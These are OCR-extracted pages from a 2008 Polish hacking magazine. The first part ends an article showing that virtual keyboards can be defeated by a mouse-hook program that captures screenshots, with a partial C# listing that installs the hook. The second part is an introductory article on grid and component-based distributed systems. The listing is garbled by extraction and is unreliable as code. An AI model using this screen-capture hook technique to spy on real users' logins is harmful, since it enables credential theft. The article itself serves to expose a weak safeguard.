magamy,  aby  funkcja  monitorują-
ca  przechwytywała  komunikaty
myszy  wygenerowane  dla  każde-
go wątku istniejącego w systemie.
Możemy teraz stworzyć obiekt na-
szej klasy. Przechodzimy do wido-
ku  formy  i  wciskamy  F7,  po  czym
dodajemy kod z Listingu 10.

Program jest już gotowy. Jak

stwierdziliśmy  we  wstępie,  nie
chcemy  tutaj  opisywać,  co  dalej
należy  zrobić  z  zapisanymi  zrzu-
tami ekranu, jak ukryć ten program
w  systemie  bądź  jak  zarazić  nim
inny  komputer.  Powstałby  wtedy
artykuł w stylu jak domowym spo-
sobem  stworzyć  bombę.  Zależy
nam na naświetleniu samego pro-
blemu zabezpieczeń, które tak na-
prawdę nic nie zmieniają.

Podsumowanie

Naszym podstawowym celem pod-
czas pisania tego artykułu było

pokazanie,  jak  prosto  ominąć  za-
bezpieczenie,  jakim  jest  wirtual-
na klawiatura. I nie chodzi tu tylko
o  sprzęt  czy  źle  stworzony  skrypt
logowania, ale o czynnik ludzki. To
w  końcu  ktoś  odpowiedzialny  za

bezpieczeństwo  podejmuje  decy-
zję o wprowadzeniu wirtualnej kla-
wiatury.  Czytelnikowi  pozostawia-
my  do  oceny  stopień  kompetencji
kogoś,  kto  twierdzi,  że  pozwoli  to
na uniknięcie problemu. l

Listing 10.

Definicja klasy Form1

using

System

;

using

System

Windows

Forms

;

namespace

InstallMouseProc

{

public

partial

class

Form1

Form

{

private

MouseProcInstall

hookClass

;

private

bool

hookInstallDone

true

;

public

Form1

()

{

InitializeComponent

();

hookClass

new

MouseProcInstall

();

hookClass

InstallHook

())

{

hookInstallDone

false

;

}

private

void

OnClosing

(

object

sender

EventArgs

)

{

(

hookInstallDone

)

hookClass

CloseHook

();

}

O autorach

Sławomir Orłowski – z wykształcenia fizyk. Obecnie jest doktorantem na Wydziale Fizyki, Astronomii i Informatyki Stosowanej Uniwersy-
tetu Mikołaja Kopernika w Toruniu. Zajmuje się symulacjami komputerowymi układów biologicznych (dynamika molekularna) oraz bioin-
formatyką. Programowanie jest nieodzowną częścią jego pracy naukowej i dydaktycznej. Ma doświadczenie w programowaniu w języ-
kach C, C++, Delphi, Fortran, Java i Tcl. Z językiem C# i platformą .NET pracuje od 2002 roku. Jest autorem książek informatycznych.
Strona domowa: http://www.fizyka.umk.pl/~bigman/
Kontakt z autorem: bigman@fizyka.umk.pl
Maciej Pakulski – absolwent studiów inżynierskich na kierunku Fizyka Techniczna Wydziału Fizyki, Astronomii i Informatyki Stosowanej
Uniwersytetu Mikołaja Kopernika w Toruniu. Obecnie na studiach magisterskich. Programowaniem zajmuje się od 2004 roku. Potrafi pro-
gramować biegle w językach C/C++, Java, VHDL. Programowaniem w języku C#, a także platformą .NET zajmuje się od 2006 roku.
Kontakt z autorem: mac_pak@interia.pl

W Sieci

•   http://msdn.microsoft.com/msdnmag/issues/02/10/CuttingEdge – artykuł opisujący haki w systemie Windows,
•   http://msdn2.microsoft.com/en-us/library/ms997537.aspx – kolejny artykuł opisujący haki w systemie Windows,
•   http://www.codeproject.com – zbiór bardzo wielu przykładów aplikacji dla platformy .NET i nie tylko. Naprawdę godny polece-

nia,

• http://www.codeguru.pl – polska strona dla programistów .NET,
• http://msdn2.microsoft.com – dokumentacja MSDN. Znajdziesz tu opisy wszystkich klas, własności i metod, jakie zawiera plat-

forma .NET wraz z przykładowymi programami.

www.hakin9.org

hakin9 Nr 3/2008

Obrona

ama  technologia  CCA  (ang.  Com-
mon  Component  Architecture)  ozna-
cza  środowisko  pozwalające  na  uru-

chamianie  i  łączenie  programów  w  większe
i  bardziej  funkcjonalne  systemy  rozwiązy-
wania  złożonych  problemów  poprzez  dzier-
żawienie  zasobów  komputera.  W  przypadku
technologii  GRID  mamy  do  czynienia  z  sys-
temem  zarządzającym  zasobami  będącymi
pod  kontrolą  różnych  komputerów  połączo-
nych  siecią  komputerową,  który  do  swojej
pracy  wykorzystuje  otwarte  protokoły  i  inter-
fejsy ogólnego przeznaczenia.

Systemy rozproszone tworzą stacje robo-

cze, minikomputery i wielkie systemy kompute-
rowe  ogólnego  przeznaczenia.  Zadaniem  sys-
temu rozproszonego jest tworzenie wydajnego
i wygodnego środowiska umożliwiającego dzie-
lenie zasobów. Rozproszony system operacyjny
umożliwia  użytkownikom  dostęp  do  różnorod-
nych  zasobów,  nad  którymi  sprawuje  nadzór.
Każdy komputer podłączony do systemu udo-
stępnia procesory, które różnią się mocą obli-
czeniową i funkcjami. Procesory te określa się
za pomocą kilku różnych nazw, takich jak sta-
nowiska (ang. sites), węzły (ang. nodes), kom-
putery  (ang.  hosts)  itp.  -  zależnie  od  kontek-

stu, w którym występują. Pojęcie zasób po-
winno tu być rozumiane szeroko: począwszy
od urządzeń (drukarki, skanery), a skończyw-
szy na plikach czy stronach WWW. Dostęp do
tych zasobów jest nadzorowany przez właści-
wy system operacyjny zainstalowany na stacji
roboczej. Istnieją dwa zasadnicze, uzupełniają-
ce się schematy dostarczania takich usług:

• sieciowe systemy operacyjne: użytkownicy

w celu dostępu do zasobów muszą rejestro-
wać się na zdalnych maszynach lub przesy-
łać dane z odległych maszyn do swoich;

Architektura CCA, czyli

GRID prosto i przyjemnie

Rafał Podsiadły

stopień trudności

Czy wiesz, że możesz pomóc w badaniach nad rakiem, nowymi

technologiami, badaniem kosmosu? Systemy oparte na

technologii CCA lub GRID są zespołami komputerów, na których

zainstalowane oprogramowanie pozwala na ścisłą współpracę

między wolnymi zasobami, tworząc w ten sposób superkomputer.

Z artykułu dowiesz się

• jak funkcjonują systemy rozproszone, do czego

są wykorzystywane.

Co powinieneś wiedzieć

• znać budowę sieci, szkielet TCP/IP,
• mieć ogólne wiadomości na temat algoryt-

mów,

• mieć ogólną wiedzę na temat systemów opera-

cyjnych.

Jak funkcjonują systemy rozproszone?

hakin9 Nr 3/2008

www.hakin9.org

• rozproszone systemy operacyj-

ne: użytkownicy uzyskują dostęp
do zasobów zdalnych tak samo,
jak do zasobów lokalnych.

Komponenty  mogą  być  dostarcza-
ne niezależnie. Definiuje się sposo-
by  współdziałania  poszczególnych
części  (komponentów,  zasobów),
które mogą znajdować się w syste-
mie lokalnym, równoległym czy być
rozproszone między zdalnymi sys-
temami  obliczeniowymi.  Sama  ar-
chitektura  opiera  się  o  możliwość
rozwoju  oraz  wykorzystuje  opro-
gramowanie  na  licencji  Open  So-
urce.  Komponenty  to  samodzielne
jednostki  obliczeniowe  (fragmenty
oprogramowania),  których  szczegó-
ły  implementacyjne  nie  są  udostęp-
niane użytkownikom. Dzięki tej zasa-
dzie poszczególne komponenty mo-
gą być tworzone za pomocą innych
narzędzi. Komponenty mogą komu-
nikować  się  ze  światem  zewnętrz-
nym za pomocą interfejsów, w któ-
rych  stosuje  się  model  budowania
aplikacji typu plug and play. Do in-
terfejsów mogą być podłączone in-
ne  komponenty  lub  dane  wejścio-
we.  Interfejs  jest  prostym  opisem,
zawierającym  informacje  doty-
czące  wywołania  poszczególnych
usług.  Standardy  budowy  kompo-
nentów,  takie  jak  Object  Manage-
ment  Group,  Common  Object  Re-
quest  Broker  Architecture,  DCOM,
Microsoft  Component  Object  Mo-
del  czy  Enterprise  JavaBeans
(EJB),  definiują  prawa  i  obowiąz-

ki komponentów, sposób przygoto-
wania interfejsów, framework (czy-
li  środowisko,  w  którym  urucha-
miane są komponenty) oraz prawa
i obowiązki środowiska uruchomie-
niowego.  Standardy  te  różnią  się
pod  względem  wydajności  działa-
nia,  wymagań  stawianych  kompo-
nentom  oraz  platformy  programo-
wej, na której mogą być uruchamia-
ne. Właściwości CCA:

• dodawanie, modyfikowanie lub

rozwijanie  pojedynczych  modu-
łów  nie  wpływa  destabilizująco
na  pozostałe  elementy  progra-
mu,

• możliwość aktualizacji pojedyn-

czych komponentów, bez ko-
nieczności wymiany całej apli-
kacji,

• zmiany wprowadzone wewnątrz

komponentu nie muszą mieć
wpływu na sposób jego interak-
cji z otoczeniem,

• użytkownik przy instalacji aplika-

cji może sam wybrać komponen-
ty, które będą mu potrzebne,

• zwiększenie produktywności ko-

du poprzez technikę wielokrotne-
go wykorzystania jego fragmen-
tów w innych, niezależnych pro-
jektach,

• możliwość składania dowolnych

projektów z istniejących już kom-
ponentów,

Pojęcia tego jako pierwszy użył Ian
Foster, profesor na Uniwersytecie
w Chicago, naukowiec pracujący

w ANL (Argonne National Laborato-
ry). Idea ta ciągle ewoluuje, znajdo-
wane są nowe obszary jej potencjal-
nego zastosowania.

Za pierwszy przejaw idei gri-

du  uważa  się  inicjatywę  SETI@ho-
me  (ang.  Search  for  Extra-Terre-
strial  Intelligence),  mającą  na  celu
przyspieszenie  poszukiwań  śladów
życia  we  wszechświecie.  Dowolny
posiadacz  komputera  mógł  pobrać
fragment  danych  (sygnałów  odbie-
ranych przez radioteleskopy) i prze-
prowadzać obliczenia w czasie wol-
nym od własnych obliczeń (wykorzy-
stując  wolne  cykle  CPU).  To  nowa-
torskie  podejście  do  problemu  po-
zwoliło  na  równoczesne  wykorzy-
stanie milionów komputerów rozpro-
szonych po całym świecie. Udało się
w ten sposób zidentyfikować poten-
cjalnie  interesujące  fragmenty  sy-
gnału,  które  następnie  poddawane
były dalszym analizom.

Zasoby gridu mogą być admini-

strowane przez różne organizacje.
Udostępnianie zasobów przebiega
zgodnie z lokalną polityką zarządza-
nia zasobami stosowaną w danej or-
ganizacji.

Zasoby posiadają przynajmniej

niektóre z poniższych cech:

• rozproszone geograficzne,
• heterogeniczne sprzętowo i pro-

gramowo,

• dynamiczne (dostępność zmien-

na w czasie),

• potencjalnie zawodne,
• posiadane i zarządzane przez

różne organizacje,

• różne wymagania i polityki bez-

pieczeństwa,

• różne polityki zarządzania za-

sobami,

• połączone heterogeniczną sie-

cią (różne warstwy, protokoły
komunikacyjne, topologie).

Grid  kładzie  nacisk  na  autono-
mię  zasobu  (pozwala  na  zachowa-
nie  lokalnej  kontroli  nad  zasoba-
mi i lokalnych polityk dostępu). Za-
soby nie są zarządzane centralnie,
w  przeciwnym  razie  mamy  do  czy-
nienia z lokalnym systemem zarzą-
dzania  zasobami  (np.  SGE,  LSF,

Rysunek 1.

Schemat systemu GRID

��

hakin9 Nr 3/2008

www.hakin9.org

Obrona

PBS).  Zasobami  gridu  mogą  być
nie tylko komputery i sieci, ale tak-
że  specjalistyczne  urządzenia  czy
zbiory  danych.  Grid  skupia  się  na
użytkowniku,  patrzy  się  nie  tylko
z  punktu  widzenia  posiadacza  za-
sobu,  ale  głównie  z  punktu  widze-
nia  użytkownika  zlecającego  zada-
nie do wykonania – tak, aby zopty-
malizować wykonanie aplikacji, a nie
użycie systemu.

Jak to wygląda? Wyobraź-

my  sobie  wiele  organizacji  rozpro-
szonych  po  całym  świecie.  Każda
z nich posiada pewne zasoby kom-
puterowe, programowe, sprzęt spe-
cjalistyczny  i  cenne  dane,  np.  po-
miarowe. Żadnej z tych organizacji
nie  stać  na  zakup  wszystkich  naj-
nowszych  osiągnięć  technologicz-
nych,  każda  z  nich  posiada  tylko
pewien  ich  podzbiór,  który  wyko-
rzystuje  w  różnym  czasie  i  z  róż-
nym natężeniem.

Celem tworzenia gridu jest

umożliwienie  organizacjom  wza-
jemnej wymiany np. mocy oblicze-
niowej,  ale  też  i  innych  zasobów
z  zachowaniem  lokalnych  polityk
dostępu i bezpieczeństwa. Tworzo-
ne  są  w  ten  sposób  Wirtualne  Or-
ganizacje  (VO,  ang.  Virtual  Orga-
nizations).

Warstwę fizyczną środowiska

gridowego  stanowią  połączone  sie-
cią  zasoby  sprzętowe  wielu  orga-
nizacji  stanowiących  VO,  które  wy-
rażają  chęć  współtworzenia  takiej
struktury.  Ponad  warstwą  sprzęto-
wą  musi  istnieć  warstwa  programo-
wa,  która  pozwoli  na  udostępnianie
i  współdzielenie  zasobów  oraz
umożliwi  rozliczanie  członków  VO
z użycia zasobów (tzw. accounting).

Uzyskanie spójnego i zwarte-

go obrazu systemu rozproszonego
wymaga  ukrycia  przed  użytkowni-
kami wielu szczegółów związanych
z jego organizacją. Oznacza to, że
różnice pomiędzy komputerami (m.
in.  architektura  komputera,  lokal-
ny system operacyjny), różne spo-
soby  komunikowania  się  kompute-
rów  (technologie  komunikacyjne,
protokoły  sieciowe)  oraz  organiza-
cja systemu rozproszonego są (lub
powinny być) niewidoczne dla użyt-

kownika  końcowego.  Ujednolice-
nie takie daje w efekcie możliwość
korzystania  z  zasobów  systemu
w  jednolity  sposób,  przy  korzysta-
niu  z  tego  samego  interfejsu,  nie-
zależnie  od  czasu  i  miejsca  doko-
nywanej interakcji.

Grid pozwala na rozwiązywa-

nie problemów dużej skali w zakre-
sie znacznie większym, niż pozwa-
lają na to wieloprocesorowe super-
komputery lub lokalne klastry kom-
puterowe.  Dzięki  udostępnianiu
własnych zasobów w ramach Wirtu-
alnej Organizacji, można mieć okre-
sowo  dostęp  do  wszystkich  jej  za-
sobów,  co  daje  niewątpliwą  szan-
sę  na  wykonanie  bardziej  skompli-
kowanych obliczeń w krótszym cza-
sie  (zasoby  na  żądanie).  Najbar-
dziej  znanymi  narzędziami  realizu-
jącymi  koncepcje  gridu  są  Legion
i Globus Toolkit.

Globus Toolkit jest to oprogra-

mowanie warstwy pośredniej (ang.
middleware),  opracowywane  w  ra-
mach projektu Globus Alliance. Ce-
lem projektu jest dostarczenie śro-
dowiska do uruchamiania i tworze-
nia  aplikacji  gridowych.  Ponadto
w  ramach  projektu  powstają  przy-
kładowe  implementacje  usług  po-
trzebnych  w  tym  środowisku.  Glo-
bus Toolkit uważany jest za imple-
mentację  referencyjną.  Architektu-
ra  środowiska  gridowego  zdefinio-
wana została w standardzie OGSA

(ang. Open Grid Services Architec-
ture).  Standard  WSRF  (ang.  Web
Services  Resource  Framework)
określa  otoczenie  i  sposób  bu-
dowania  oprogramowania  dla  te-
go  środowiska  z  wykorzystaniem
usług sieciowych (ang. Web Servi-
ces).  Procesem  standaryzacji  zaj-
muje  się  organizacja  standaryza-
cyjna  Global  Grid  Forum.  Globus
Toolkit,  będący  implementacją  po-
wyższych standardów, sam uważa-
ny jest za de facto za standard.

Wrażenie jednolitości syste-

mu można uzyskać poprzez zasto-
sowanie  architektury  warstwowej
w odniesieniu do oprogramowania.
System  taki  bazuje  na  lokalnych
systemach  operacyjnych  i  nadbu-
dowuje  warstwę  pośrednią  (ang.
middleware),  dostarczającą  ujed-
noliconego  interfejsu  dostępu  do
usług  dla  aplikacji  rozproszonych.
Systemy rozproszone są tworzone
ze względu na swoje istotne poten-
cjalne  zalety.  Efektywne  zagospo-
darowanie  tych  zalet  może  spra-
wić, że będą one bardziej atrakcyj-
ne dla użytkownika końcowego niż
systemy scentralizowane. Systemy
rozproszone powstają po to, by uła-
twić użytkownikom dostęp do zdal-
nych  zasobów,  ukrywając  fakt  ich
rozproszenia i umożliwiając współ-
dzielenie. Współdzielony dostęp do
zasobów jest uzasadniony głównie
ekonomicznie:  wiele  zasobów  jest

Rysunek 2.

Schemat systemu CCA

��

Jak funkcjonują systemy rozproszone?

hakin9 Nr 3/2008

www.hakin9.org

drogich  –  zarówno  w  zakupie,  jak
i w późniejszym utrzymaniu. Korzy-
stanie  ze  wspólnych  zasobów  da-
je też możliwość szybkiej wymiany
informacji  pomiędzy  samymi  użyt-
kownikami.  Łatwy  dostęp  do  za-
sobów  nie  powinien  jednak  ozna-
czać rezygnacji z zapewniania bez-
pieczeństwa  realizowanych  opera-
cji. Dotyczy to zarówno poufności,
spójności  przesyłanych  danych,
jak  i  niezaprzeczalności.  Proble-
my  bezpieczeństwa  ujawniają  się
również w kontekście samej komu-
nikacji.  Monitorowanie  aktywności
użytkowników  i  budowanie  profili
zachowań  również  może  naruszać
naszą  prywatność.  Rozprosze-
nie zasobów i procesów na fizycz-
nie  rozłącznych  maszynach  może
być  maskowane  tak,  aby  system
był  postrzegany  jako  jedna  spój-
na  całość.  Mówimy  o  takim  syste-
mie, że jest transparentny. Przezro-
czystość może być jednak postrze-
gana na różnych poziomach, a po-
ziomy  te  mogą  być  mniej  lub  bar-
dziej  istotne  dla  użytkownika  koń-
cowego. W dalszej części artykułu
przedstawiono  podstawowe  pozio-
my przezroczystości rozpatrywane
w systemach rozproszonych.

Kolejna cecha systemów roz-

proszonych  to  łatwość  ich  rozsze-
rzania,  co  w  konsekwencji  powin-
no prowadzić do zapewnienia ska-
lowalności  systemu.  Łatwość  ta
jest efektem niezależności kompu-
terów, przy jednoczesnym ukrywa-
niu  szczegółów  dotyczących  funk-
cji  pełnionych  przez  poszczególne
komputery  w  systemie.  Ze  wzglę-
du  na  powielanie  pewnych  funkcji
przez  wiele  komputerów,  system
rozproszony  może  sprawiać  wra-
żenie  nieustannej  dostępności  je-
go zasobów i usług. Dzieje się tak
pomimo  przejściowych  awarii  po-
szczególnych  jego  komponentów,
które są jednak maskowane przeję-

ciem obsługi przez inne komputery.
Podobnie dodanie nowych kompu-
terów i/lub użytkowników pozostaje
niezauważone przez dotychczaso-
wych użytkowników.

Przezroczystość dostępu ozna-

cza  ujednolicenie  metod  dostę-
pu  do  danych  i  ukrywanie  różnic
w  reprezentacji  danych.  Użytkow-
nik  korzysta  cały  czas  z  tego  sa-
mego  interfejsu  dostępu  do  da-
nych.  Różnice  w  reprezentacji
danych  mogą  wynikać  z  zastoso-
wania  różnych  architektur  kompu-
terowych.  Przykładem  jest  repre-
zentacja  liczb  –  procesory  Inte-
la stosują tzw. kodowanie little en-
dian  a  np.  procesory  Sun  SPARC
stosują kodowanie big endian. Róż-
nica polega na kolejności ułożenia
poszczególnych bajtów liczby w pa-
mięci.  Innym  przykładem  różnic
w reprezentacji danych są odmien-
ne  konwencje  nazewnictwa  plików
stosowane  w  poszczególnych  sys-
temach operacyjnych.

Przezroczystość

położenia

oznacza, że użytkownicy nie mogą
określić  fizycznego  położenia  za-
sobu (np. na podstawie jego nazwy
czy identyfikatora). Warunkiem ko-
niecznym  osiągnięcia  przezroczy-
stości  położenia  jest  stosowanie
nazewnictwa  zasobów,  które  abs-
trahuje  od  ich  położenia.  Z  tego
między  innymi  powodu  adresy  do-
kumentów w usłudze WWW zaczę-
to  określać  nie  jako  adresy  URL
(ang.  Universal  Resource  Locator
– uniwersalny lokalizator zasobów),
a raczej jako adresy URI (ang. Uni-
versal  Resource  Identifier  –  uni-
wersalny  identyfikator  zasobów).
Zaakcentowano w ten sposób bar-
dziej  ogólny  sposób  interpreta-
cji  elementów  składowych  adresu.
Np. adres: http://www.put.poznan.pl/
rekrutacja/rekrutacja.html może być
interpretowany  jako  wskazanie  na
dokument znajdujący się na serwe-

rze  www.put.poznan.pl  (URL)  lub
po  prostu  całościowo  jako  identy-
fikator dokumentu (URI).
Przezroczystość wędrówki oznacza,
że  zasoby  mogą  być  przenoszone
pomiędzy  serwerami  bez  potrzeby
zmiany  sposobu  odwoływania  się
do nich. Uzyskanie przezroczystości
wędrówki  zakłada  oczywiście  prze-
zroczystość położenia, gdyż w prze-
ciwnym wypadku po dokonaniu prze-
niesienia zasobu jego stary identyfi-
kator stawałby się nieaktualny.

Przezroczystość przemieszcza-

nia  oznacza,  że  zasoby  mogą  być
przenoszone  nawet  wtedy,  gdy  są
używane przez użytkowników i nie
wymaga to informowania użytkow-
ników  o  zmianie  położenia.  Z  ta-
ką sytuacją mamy do czynienia np.
w  przypadku  sieci  komórkowych,
gdzie  użytkownicy  pomimo  fizycz-
nego  przemieszczania  się  mogą
prowadzić  stale  rozmowę  (jest  to
tzw. roaming).

W systemach rozproszonych

zwielokrotnianie  (replikacja)  jest
jednym  z  podstawowych  mecha-
nizmów  pozwalających  na  zwięk-
szenie  wydajności  i  niezawodno-
ści.  Stosowanie  zwielokrotniania
może  skutkować  jednak  znaczny-
mi utrudnieniami dla użytkowników
końcowych,  wynikającymi  m.  in.
z niespójności współbieżnie mody-
fikowanych kopii.

Przezroczystość zwielokrotnia-

nia oznacza, że pomimo zwielokrot-
niania  zasobów  użytkownicy  nie
zauważają  tego  faktu  –  korzysta-
ją z zasobów dokładnie w taki sam
sposób,  jak  w  systemie  nie  stosu-
jącym zwielokrotniania. W praktyce
oznacza  to,  że  przezroczystość
zwielokrotniania  można  uzyskać
w systemach gwarantujących prze-
zroczystość  położenia,  ponieważ
dostęp  do  każdej  z  kopii  zasobu
powinien  być  realizowany  z  wyko-
rzystaniem  tego  samego  identyfi-
katora.

System rozproszony umożliwia

współdzielenie zasobów. Współ-
dzielenie takie może być realizowa-
ne w sposób kooperatywny – jak to
ma miejsce np. w przypadku komu-
nikacji – lub w sposób rywalizacyj-

W Sieci

• http://wazniak.mimuw.edu.pl – bardzo polecam ten odnośnik,
• http://wikipedia.pl – ten odnośnik także powinien znać każdy.

hakin9 Nr 3/2008

www.hakin9.org

Obrona

ny, kiedy wielu użytkowników jed-
nocześnie ubiega się o dostęp do
tego samego zasobu.
Przezroczystość

współbieżności

gwarantuje,  że  współbieżne  odwo-
ływanie się do tego samego zasobu
realizowane przez wielu użytkowni-
ków  nie  będzie  prowadziło  do  po-
wstania  w  systemie  stanu  niespój-
nego. Stan spójny można osiągnąć
poprzez  blokowanie  dostępu  do
wspólnych  danych  (gwarantujące
wyłączny  dostęp)  lub  poprzez  za-
stosowanie  mechanizmu  przetwa-
rzania transakcyjnego, które jednak
jest trudne do zrealizowania w sys-
temie rozproszonym.

System jako całość powinien

działać  nawet  w  przypadku  awa-
rii  pojedynczych  jego  komponen-
tów.  Przezroczystość  awarii  ozna-
cza,  że  użytkownik  nie  zauważa
faktu  uszkodzenia  pojedynczych
węzłów.  Wadliwy  komponent  po-
winien  zostać  zastąpiony  popraw-
nym,  a  cała  operacja  nie  powin-
na wpływać na sposób korzystania
z systemu. Maskowanie awarii jest
zadaniem trudnym, a przy przyjęciu
pewnych założeń – nawet niemoż-
liwym.  Główna  trudność  polega
na odróżnieniu awarii zdalnego wę-
zła  od  awarii  łączy  komunikacyj-
nych.  Przezroczystość  trwałości
ukrywa  mechanizmy  zarządzania
zdalnymi  zasobami.  Przykładem
mogą  tu  być  zdalne  obiekty,  na
rzecz których użytkownicy wywołu-
ją  metody.  Obiekt  powinien  trwale
przechować  swój  stan  po  zdalnym
wywołaniu  jego  metody.  Z  drugiej
strony  odwołanie  do  tego  obiektu
powinno  być  możliwe  nawet  wte-
dy, gdy nie jest przechowywany ak-
tualnie w pamięci. Oczekuje się, że
systemy  rozproszone  będą  ukry-
wać przed użytkownikiem szczegó-
ły  swojej  wewnętrznej  organizacji,
jednakże  osiągnięcie  wysokiego
poziomu  przezroczystości  wią-
że  się  z  dużymi  kosztami,  głów-
nie związanymi z ogólną wydajno-
ścią systemu. W praktyce dąży się
do  osiągnięcia  racjonalnego  kom-
promisu  pomiędzy  obserwowa-
ną  przez  użytkownika  złożonością
systemu, a efektywnością jego pra-

cy. Systemy rozproszone, aby mo-
gły  być  rozbudowywane,  muszą
być  otwarte.  Oznacza  to  koniecz-
ność  standaryzacji  stosowanych
protokołów i interfejsów komunika-
cyjnych. Definicje interfejsów obej-
mują najczęściej opis składni usług
(nazwy  funkcji,  typy  parametrów
i zwracanych wyników). Semantyka
usług  opisywana  jest  najczęściej
w  sposób  nieformalny,  przy  wyko-
rzystaniu języka naturalnego.

Specyfikacja interfejsu, aby mo-

gła być implementowana niezależnie
przez  wielu  dostawców  oprogramo-
wania, musi być zupełna (kompletna)
i  neutralna.  Kompletność  oznacza,
że opis jest wystarczający do stwo-
rzenia  implementacji.  Neutralność
oznacza, że specyfikacja nie narzu-
ca  żadnych  szczegółów  dotyczą-
cych implementacji. Spełnienie tych
warunków  jest  konieczne  dla  osią-
gnięcia zdolności do współdziałania
(ang. interoperability), która oznacza
możliwość współpracy ze sobą kom-
ponentów programowych pochodzą-
cych od różnych dostawców, o ile im-
plementują one odpowiednie interfej-
sy programowe.

Przenośność (ang. portabili-

ty) oznacza możliwość uruchomie-
nia  aplikacji  stworzonej  dla  jedne-
go systemu w innym systemie bez
konieczności wprowadzania jakich-
kolwiek modyfikacji. Dobrze zapro-
jektowany system otwarty powinien
być elastyczny, co w praktyce ozna-
cza łatwość budowy i przebudowy
systemu  składającego  się  z  kom-
ponentów  pochodzących  od  róż-
nych  dostawców.  Osiągnięcie  wy-
sokiej  elastyczności  jest  możliwe
poprzez  podział  systemu  rozpro-
szonego na wysoce autonomiczne
komponenty  komunikujące  się  po-
przez precyzyjnie opisane interfej-
sy. Daje to możliwość wymiany po-
szczególnych  komponentów  bez
konieczności  wyłączania  całego
systemu. Otwartość i elastyczność
systemów rozproszonych może być
wspierana  poprzez  oddzielenie
polityki  od  mechanizmu.  Polityka
określa w sposób deklaratywny ce-
le,  które  chce  osiągnąć  użytkow-
nik,  a  mechanizm  dostarcza  na-

rzędzi  do  osiągania  tych  celów.
Przykładem  może  być  stosowanie
pamięci  podręcznych  w  przeglą-
darkach internetowych. Jest to me-
chanizm  zwiększający  dostępność
zasobów  w  usłudze  WWW.  Waż-
ne  jednakże  są  tu  parametry  wej-
ściowe sterujące pracą tej pamięci
(czas  przechowywania  dokumen-
tów,  strategia  aktualizacji,  wybór
dokumentów).  Parametry  te  okre-
ślają  właśnie  politykę,  jaką  chce
narzucić  użytkownik  i  która  może
być potencjalnie realizowana z wy-
korzystaniem innego mechanizmu.

Rozwój sieci komputerowych

i  liczba  komputerów  przyłączanych
do  Internetu  wzrastają  tak  szybko,
że  jednym  z  najważniejszych  ce-
lów  projektowych  staje  się  obec-
nie  zapewnienie  skalowalności.
Skalowalność  może  być  rozważa-
na  w  trzech  różnych  wymiarach.
Po  pierwsze  –  skalowalność  pod
względem  rozmiaru,  oznaczająca
możliwość  dodawania  do  systemu
nowych  użytkowników  i  zasobów.
Po  drugie  –  skalowalność  geogra-
ficzna,  umożliwiająca  rozrzucenie
poszczególnych  użytkowników  po
całym świecie. Po trzecie wreszcie
–  skalowalność  pod  względem  ad-
ministracyjnym  oznacza,  że  zarzą-
dzanie  systemem  pozostaje  równie
proste  pomimo  zwiększania  jego
rozmiaru i dystrybucji odpowiedzial-
ności na wiele jednostek administra-
cyjnych.  Skalowalność  pod  wzglę-
dem  rozmiaru  może  być  ograni-
czona  poprzez  stosowanie  rozwią-
zań  scentralizowanych.  Każdy  ser-
wer,  który  jest  jedynym  pełniącym
określoną funkcję, staje się wąskim
gardłem w warunkach wzrastającej
liczby  żądań.  Stosowanie  przetwa-
rzania  scentralizowanego  staje  się
niekiedy jednak nieuniknione. Przy-
kładem  może  być  przechowywanie
poufnych  danych,  których  powiele-
nie  powodowałoby  zwiększenie  ry-
zyka  ich  ujawnienia  (centralizacja
danych).  Z  centralizacją  usług  ma-
my  do  czynienia  wtedy,  gdy  prze-
twarzanie  zleceń  jest  realizowane
przez  pojedynczy  serwer.  Dobrym
przykładem usługi, która jest dosko-
nale zdecentralizowana, jest usługa

hakin9 Nr 3/2008

DNS (ang. Domain Name Service), zajmująca się
m. in. odwzorowaniami nazw domenowych na ad-
resy IP. W usłudze tej grupa rozproszonych serwe-
rów realizuje wspólnie wspomnianą funkcję. Roz-
proszenie przetwarzania jest tu koniecznością, po-
nieważ liczba żądań przychodzących do systemu
jest tak duża, że żaden serwer nie byłby w stanie
jej obsłużyć.

Wysoką skalowalność systemów można osią-

gnąć poprzez zastosowanie algorytmów zdecen-
tralizowanych. Charakteryzują się one następują-
cymi własnościami:

• żadna z maszyn nie posiada pełnej informacji

o stanie systemu,

• decyzje podejmowane są tylko na podstawie in-

formacji lokalnych,

• uszkodzenie pojedynczych maszyn nie powo-

duje blokady całego systemu,

• nie ma niejawnych założeń dotyczących glo-

balnego zegara.

Ostatnie  założenie  jest  konsekwencją  ogólnie
przyjętej  charakterystyki  systemów  rozproszo-
nych,  w  których  komunikacja  ma  charakter  asyn-
chroniczny.  Oznacza  to,  że  komunikaty  docierają
do odbiorcy w czasie skończonym, ale bliżej nie-
określonym.  Konsekwencją  tego  założenia  jest
niemożliwość  dokładnego  zsynchronizowania  lo-
kalnych  zegarów  komputerów  pracujących  w  sie-
ci (przede wszystkim w sieci rozległej).

Skalowalność geograficzna jest ograniczana

głównie przez dostępne mechanizmy komunikacyj-
ne, które wprowadzają znaczne opóźnienia i charak-
teryzują się wysoką zawodnością. Opóźnienia po-
wodują, że akceptowalne w sieciach lokalnych prze-
twarzanie synchroniczne staje się nieakceptowalne
w sieciach rozległych, gdyż wprowadza zbyt duże
przestoje.

Ponieważ skalowalność jest tak wysoce pożąda-

ną cechą systemów rozproszonych, bardzo ważnym
staje się pytanie o ogólne metody zapewniania wy-
sokiej skalowalności. Generalnie istnieją trzy meto-
dy zwiększania skalowalności: ukrywanie opóźnień
komunikacyjnych, rozpraszanie i zwielokrotnianie.

Ukrywanie opóźnień komunikacyjnych oznacza

w praktyce stosowanie na szeroką skalę komunika-
cji asynchronicznej, w której zlecający operację nie
czeka na jej wynik, a wykonuje dalsze przetwarzanie
niewymagające wyniku ostatniej operacji. Efekt taki
można uzyskać stosując przetwarzanie współbież-
ne po stronie klienta, w którym oczekiwanie na wy-
nik  będzie  blokowało  oddzielny  wątek  przetwarza-
nia.  Niestety,  komunikację  asynchroniczną  można
stosować  jedynie  w  systemach  nieinteraktywnych.
W systemach interaktywnych można próbować re-
dukować  ilość  przesyłanych  informacji  poprzez

hakin9 Nr 3/2008

www.hakin9.org

Obrona

przeniesienie  części  przetwarzania
do klienta, np. w celu lepszej wery-
fikacji  danych  wejściowych.  Można
w  tym  celu  wykorzystać  np.  dyna-
miczne  przesyłanie  kodu  weryfiku-
jącego z serwera (aplety Javy).

Rozpraszanie (ang. distribution)

polega  na  podziale  zadań  kompo-
nentu  programowego  na  wiele  jed-
nostek  i  rozproszenie  tych  jedno-
stek w sieci. Przykładem może być
system  DNS,  w  którym  nie  wystę-
puje  pojedynczy  serwer  przecho-
